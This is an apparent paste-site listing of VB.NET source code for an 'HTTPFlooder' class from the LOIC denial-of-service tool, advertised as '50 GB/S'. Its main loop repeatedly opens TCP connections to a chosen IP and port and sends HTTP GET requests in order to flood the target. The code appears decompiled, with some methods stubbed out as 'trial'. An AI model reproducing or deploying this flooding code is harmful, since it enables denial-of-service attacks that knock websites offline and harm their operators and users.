HTTPFLOOD | 50 GB/S | VB.NET | SCRIPT | SOURCE CODE


SUBMITTED BY: Guest

DATE: Nov. 2, 2013, 9:46 p.m.

FORMAT: C++

SIZE: 7.5 kB

HITS: 1865

  1. Imports System
  2. Imports System.ComponentModel
  3. Imports System.Net
  4. Imports System.Net.Sockets
  5. Imports System.Runtime.CompilerServices
  6. Imports System.Text
  7. Imports System.Threading
  8. Imports System.Windows.Forms
  9. Namespace LOIC
  10. Friend Class HTTPFlooder
  11. Implements LOIC.IFlooder
  12. <System.Runtime.CompilerServices.CompilerGenerated> _
  13. Private <Delay>k__BackingField As Integer
  14. <System.Runtime.CompilerServices.CompilerGenerated> _
  15. Private <Downloaded>k__BackingField As Integer
  16. <System.Runtime.CompilerServices.CompilerGenerated> _
  17. Private <Failed>k__BackingField As Integer
  18. <System.Runtime.CompilerServices.CompilerGenerated> _
  19. Private <IP>k__BackingField As String
  20. <System.Runtime.CompilerServices.CompilerGenerated> _
  21. Private <IsFlooding>k__BackingField As Boolean
  22. <System.Runtime.CompilerServices.CompilerGenerated> _
  23. Private <Port>k__BackingField As Integer
  24. <System.Runtime.CompilerServices.CompilerGenerated> _
  25. Private <Requested>k__BackingField As Integer
  26. <System.Runtime.CompilerServices.CompilerGenerated> _
  27. Private <Resp>k__BackingField As Boolean
  28. <System.Runtime.CompilerServices.CompilerGenerated> _
  29. Private <State>k__BackingField As LOIC.ReqState
  30. <System.Runtime.CompilerServices.CompilerGenerated> _
  31. Private <Subsite>k__BackingField As String
  32. <System.Runtime.CompilerServices.CompilerGenerated> _
  33. Private <Timeout>k__BackingField As Integer
  34. Private bw As System.ComponentModel.BackgroundWorker
  35. Private lastAction As Long
  36. Private random As System.Random
  37. Private tTimepoll As System.Windows.Forms.Timer
  38. Public Property Delay As Integer
  39. Get
  40. Return <Delay>k__BackingField
  41. End Get
  42. Set
  43. <Delay>k__BackingField = value
  44. End Set
  45. End Property
  46. Public Property Downloaded As Integer
  47. Get
  48. Return <Downloaded>k__BackingField
  49. End Get
  50. Set
  51. <Downloaded>k__BackingField = value
  52. End Set
  53. End Property
  54. Public Property Failed As Integer
  55. Get
  56. Return <Failed>k__BackingField
  57. End Get
  58. Set
  59. <Failed>k__BackingField = value
  60. End Set
  61. End Property
  62. Public Property IP As String
  63. Get
  64. Return <IP>k__BackingField
  65. End Get
  66. Set
  67. <IP>k__BackingField = value
  68. End Set
  69. End Property
  70. Public Property IsFlooding As Boolean
  71. Get
  72. Return <IsFlooding>k__BackingField
  73. End Get
  74. Set
  75. <IsFlooding>k__BackingField = value
  76. End Set
  77. End Property
  78. Public Property Port As Integer
  79. Get
  80. Return <Port>k__BackingField
  81. End Get
  82. Set
  83. <Port>k__BackingField = value
  84. End Set
  85. End Property
  86. Public Property Requested As Integer
  87. Get
  88. Return <Requested>k__BackingField
  89. End Get
  90. Set
  91. <Requested>k__BackingField = value
  92. End Set
  93. End Property
  94. Public Property Resp As Boolean
  95. Get
  96. Return <Resp>k__BackingField
  97. End Get
  98. Set
  99. <Resp>k__BackingField = value
  100. End Set
  101. End Property
  102. Public Property State As LOIC.ReqState
  103. Get
  104. Return <State>k__BackingField
  105. End Get
  106. Set
  107. <State>k__BackingField = value
  108. End Set
  109. End Property
  110. Public Property Subsite As String
  111. Get
  112. Return <Subsite>k__BackingField
  113. End Get
  114. Set
  115. <Subsite>k__BackingField = value
  116. End Set
  117. End Property
  118. Public Property Timeout As Integer
  119. Get
  120. Return <Timeout>k__BackingField
  121. End Get
  122. Set
  123. <Timeout>k__BackingField = value
  124. End Set
  125. End Property
  126. Public Sub New(ByVal ip As String, ByVal port As Integer, ByVal subSite As String, ByVal resp As Boolean, ByVal delay As Integer, ByVal timeout As Integer)
  127. random = New System.Random
  128. tTimepoll = New System.Windows.Forms.Timer
  129. IP = ip
  130. Port = port
  131. Subsite = subSite
  132. Resp = resp
  133. Delay = delay
  134. Timeout = timeout
  135. End Sub
  136. Private Sub bw_DoWork(ByVal sender As Object, ByVal e As System.ComponentModel.DoWorkEventArgs)
  137. Try
  138. Dim bArr1 As Byte() = System.Text.Encoding.ASCII.GetBytes(System.String.Format("GET {0} HTTP/1.0{1}{1}{1}", Subsite, System.Environment.NewLine))
  139. Dim ipendPoint As System.Net.IPEndPoint = New System.Net.IPEndPoint(System.Net.IPAddress.Parse(IP), Port)
  140. While IsFlooding
  141. State = LOIC.ReqState.Ready
  142. lastAction = LOIC.HTTPFlooder.Tick()
  143. Dim bArr2 As Byte() = New byte(&H40) {}
  144. Dim socket As System.Net.Sockets.Socket = New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, System.Net.Sockets.SocketType.Stream, System.Net.Sockets.ProtocolType.Tcp)
  145. State = LOIC.ReqState.Connecting
  146. socket.Connect(ipendPoint)
  147. socket.Blocking = Resp
  148. State = LOIC.ReqState.Requesting
  149. socket.Send(bArr1, System.Net.Sockets.SocketFlags.None)
  150. State = LOIC.ReqState.Downloading
  151. Requested = Requested + 1
  152. If Resp Then
  153. socket.Receive(bArr2, &H40, System.Net.Sockets.SocketFlags.None)
  154. End If
  155. State = LOIC.ReqState.Completed
  156. Downloaded = Downloaded + 1
  157. tTimepoll.Stop()
  158. If Delay > 0 Then
  159. System.Threading.Thread.Sleep(Delay)
  160. End If
  161. End While
  162. Catch
  163. Finally
  164. IsFlooding = False
  165. End Try
  166. End Sub
  167. Public Sub Start()
  168. ' trial
  169. End Sub
  170. Public Sub Stop()
  171. IsFlooding = False
  172. bw.CancelAsync()
  173. End Sub
  174. Private Sub tTimepoll_Tick(ByVal sender As Object, ByVal e As System.EventArgs)
  175. ' trial
  176. End Sub
  177. Private Shared Function Tick() As Long
  178. ' trial
  179. Return 0
  180. End Function
  181. End Class ' class HTTPFlooder
  182. End Namespace

comments powered by Disqus